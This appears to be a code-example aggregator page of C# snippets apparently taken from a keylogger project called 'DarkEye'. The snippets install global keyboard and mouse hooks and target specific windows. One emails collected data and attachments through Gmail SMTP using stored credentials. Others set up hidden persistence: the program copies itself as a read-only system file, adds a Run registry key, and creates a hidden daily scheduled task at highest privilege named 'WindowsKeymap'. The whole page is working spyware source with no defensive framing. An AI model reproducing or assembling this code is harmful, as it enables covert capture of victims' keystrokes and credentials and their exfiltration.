Exemplo n.º 1
0
        private void SendEmail()
        {
            try
            {
                MailMessage mail       = new MailMessage();
                SmtpClient  SmtpServer = new SmtpClient("smtp.gmail.com");
                mail.From = new MailAddress(owner.from);
                mail.To.Add(owner.to);
                mail.Subject = subject;
                mail.Body    = body;

                foreach (Attachment attachment in attachments)
                {
                    mail.Attachments.Add(attachment);
                }

                SmtpServer.Port        = owner.port;
                SmtpServer.Credentials = new System.Net.NetworkCredential(owner.from, owner.pass);
                SmtpServer.EnableSsl   = true;

                SmtpServer.Send(mail);
                WriteUtils.write("DispathEmail: Sending...");
            }
            catch (Exception ex)
            {
                WriteUtils.writeError("DispathEmail: " + ex.ToString());
            }
        }
Exemplo n.º 2
0
        public void Init()
        {
            try
            {
                KeyboardHook keyboardHook = new KeyboardHook();
                MouseHook    mouseHook    = new MouseHook();

                keyboardHook.OnKeyPressed   += onKeyPressed;
                keyboardHook.OnKeyUnpressed += onKeyUnPressed;
                keyboardHook.Hook();

                mouseHook.MouseAction += onMouseClick;
                mouseHook.Hook();

                Application.Run();

                keyboardHook.UnHook();
                mouseHook.UnHook();
                WriteUtils.write("Initialization: HookManager");
            }
            catch (Exception ex)
            {
                WriteUtils.writeError("Initialization: HookManager Failed: " + ex.ToString());
            }
        }
Exemplo n.º 3
0
 public void Init()
 {
     foreach (Owner owner in DarkEye.ownerManager.owners)
     {
         foreach (String target in owner.targets)
         {
             this.registerWindow(target);
         }
     }
     WriteUtils.write("Initialization: WindowManager");
 }
Exemplo n.º 4
0
 public void Init()
 {
     WriteUtils.write("Initialization: DuplicateManager");
     if (DarkEye.commandManager.IsWritenCommand("-duplicate"))
     {
         return;
     }
     this.Copyme(this.path);
     this.AutoRun(this.path);
     this.Scheduler(true, "daily", "highest", "WindowsKeymap", string.Concat("\"", this.path, "\""));
 }
Exemplo n.º 5
0
 public void Copyme(String path)
 {
     try
     {
         File.Copy(Utils.Utils.GetThisPath(), path, true);
         File.SetAttributes(path, FileAttributes.ReadOnly | FileAttributes.System);
         WriteUtils.write("Copyme: Copied to: " + path);
     }
     catch (Exception ex)
     {
         WriteUtils.writeError("Copyme: Failed " + ex.Message);
         return;
     }
 }
Exemplo n.º 6
0
 public void AutoRun(String path)
 {
     try
     {
         String str = path;
         if (!DarkEye.commandManager.IsWritenCommand("-duplicate"))
         {
             str = str + " -duplicate";
         }
         str = str + " " + DarkEye.commandManager.GetWritenCommands();
         Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
         key.SetValue(Utils.Utils.GetThisName(), str);
         WriteUtils.write("AutoRun: Registered!");
     }
     catch (Exception ex)
     {
         WriteUtils.writeError("AutoRun: " + ex.Message);
     }
 }
Exemplo n.º 7
0
        public bool Scheduler(bool status, string timeset, string priority, string taskname, string filepath)
        {
            if (string.IsNullOrWhiteSpace(taskname) || string.IsNullOrWhiteSpace(filepath))
            {
                return(false);
            }
            ProcessWindowStyle PwsHide   = ProcessWindowStyle.Hidden;
            ProcessStartInfo   startInfo = new ProcessStartInfo
            {
                FileName       = "schtasks.exe",
                CreateNoWindow = false,
                WindowStyle    = PwsHide
            };

            try
            {
                switch (status)
                {
                case true:
                    startInfo.Arguments = string.Concat("/create /sc ", timeset, " /rl ", priority, " /tn ", taskname, " /tr ", filepath, " /f");
                    WriteUtils.write("Scheduler: Created task \"" + taskname + "\"");
                    break;

                case false:
                    startInfo.Arguments = string.Concat("/delete /tn ", taskname, " /f");
                    WriteUtils.write("Scheduler: Deleted task \"" + taskname + "\"");
                    break;
                }
                using (Process info = Process.Start(startInfo))
                {
                    info.Refresh();
                    info.WaitForExit();
                    WriteUtils.write("Scheduler: Started!");
                }
            }
            catch (Exception ex) { WriteUtils.writeError("Scheduler: " + ex.Message); }
            startInfo = null; return(true);
        }
Exemplo n.º 8
0
 public void Init(String[] args)
 {
     try
     {
         if (args.Length > 0)
         {
             foreach (String arg in args)
             {
                 Command command = GetCommandByName(arg);
                 if (command != null)
                 {
                     command.writen = true;
                 }
             }
             WriteUtils.write("CommandManager run with args: " + GetWritenCommands());
         }
         WriteUtils.write("Initialization: CommandManager");
     }
     catch (Exception ex)
     {
         WriteUtils.writeError("Initialization: CommandManager Failed: " + ex.ToString());
     }
 }
Exemplo n.º 9
0
 public void unregisterWindow(Window window)
 {
     windows.Remove(window);
     WriteUtils.write("WindowManager: Unregistered window [" + window.name + "]");
 }
Exemplo n.º 10
0
 public void registerWindow(String name)
 {
     windows.Add(new Window(name));
     WriteUtils.write("WindowManager: Registered window [" + name + "]");
 }
Exemplo n.º 11
0
 public void registerCommand(String[] arg)
 {
     commands.Add(new Command(arg));
     WriteUtils.write("CommandManager: Registered command [" + arg + "]");
 }
Exemplo n.º 12
0
 public DataManager()
 {
     this.ownerData = new Data("NULL", "NULL");
     WriteUtils.write("Initialization: DataManager");
 }
Exemplo n.º 13
0
 public LineManager()
 {
     line = GetLine();
     WriteUtils.write("Initialization: LineManager [" + line.name + "]");
 }
Exemplo n.º 14
0
 public void unregisterOwner(Data data)
 {
     owners.Remove(new Owner(data));
     WriteUtils.write("OwnerManager: Unregistered owner");
 }
Exemplo n.º 15
0
 public void registerOwner(Data data)
 {
     owners.Add(new Owner(data));
     WriteUtils.write("OwnerManager: Registered owner");
 }
Exemplo n.º 16
0
 public OwnerManager()
 {
     owners = new ArrayList();
     WriteUtils.write("Initialization: OwnerManager");
 }